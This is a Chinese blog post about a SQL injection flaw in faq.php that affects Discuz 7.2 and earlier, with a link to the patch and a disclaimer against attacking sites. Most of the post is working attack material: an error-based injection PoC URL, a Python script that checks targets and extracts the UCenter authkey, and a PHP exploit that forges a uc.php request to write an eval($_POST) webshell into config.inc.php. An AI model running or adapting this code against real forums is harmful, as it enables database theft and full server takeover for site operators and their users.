- A+
在昨天下午,突然惊现一个Discuz的注入漏洞,影响Discuz 7.2及以下版本,都是比较老的了,但是由于很多老网站都没有及时升级版本的习惯,影响范围是比较大的。由于乌云的一个猪队友公司,提前暴露了漏洞的细节,导致乌云的细节未公开,各种exp就已经满天飞了,没图我说个杰宝,这是我今天监测到的,昨天的我就不贴了。
本漏洞官方已经发布补丁,请使用discuz 7.2以及以前版本的论坛尽早升级,地址:
http://www.discuz.net/thread-3579915-1-1.html
本文仅为探讨漏洞成因以及漏洞的最坏后果,请勿使用本漏洞对任何网站进行攻击。这个漏洞的问题主要出在faq.php这个文件中,addslashes害死人啊,哎哎哎,由于程序员在取值的时候没有考虑到会有”\”自动加在前面,导致悲剧的发生。poc如下:
http://localhost/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
访问之后你会发现user()已经被回显过来了
这个时候,拿数据库的内容肯定是没有压力的了,那么如何GetShell呢,如果需要直接GetShell,我们需要获得uc_key,这个已经是一个很早前的技巧了,可能很多人都忘了,而且这个key是可以直接从数据库中读出来的,那么就可以妥妥的开干了,写个小脚本来分两段读key吧。
# -*- coding: utf-8 -*-
import urllib2
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
def get_url(url):
#print url
req = urllib2.Request(url)
res = urllib2.urlopen(req)
html = res.read()
res.close()
return html
def get_cut_result(source):
return source[source.find("Duplicate entry")+17:source.find("for key")-3]
def main(sitedomain):
key_table_name="uc_applications"
#key_table_name="cdb_uc_applications"
#Define the table name
if_vul_url="/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
if_vunl_html=get_url(sitedomain+if_vul_url)
if if_vunl_html.find("Duplicate entry")>0:
print "Target is vulnerable,continue"
key1=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C1%2C62%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
key1=get_cut_result(key1)
key2=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C63%2C60%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
key2=get_cut_result(key2)
print key1+key2
else:
print "Target is not vulnerable"
if __name__ == '__main__':
if len(sys.argv)!=2:
print "usage:discuz.py sitedomain(example:http://www.bb.com)"
sys.exit(1)
sitedomain=sys.argv[1]
main(sitedomain)
拿到了key,就可以利用discuz的uc_key来getshell了,原理也很简单,在写配置文件的时候,过滤有问题,导致可以在提交配置文件的时候,把一句话写入配置文件中,具体可以去搜相关文章。总之作为后人,我们要做的就是微笑就可以了。由于涉及到key的加密解密函数,直接从源码copy,因此这个漏洞的exp用的大多是php,成功以后,会在根目录的config.inc.php文件中写入一句话木马。
<?php
$timestamp = time()+10*3600;
$host="localhost";
$uc_key="B3bbg0GdB7g9j6T670Y5X64ci7G6r448Xcc9O3O923T703T36fc8NaS3u4beob58";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">xxx\');eval($_POST[sharlock]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5
(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d',
$expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16)
== substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-





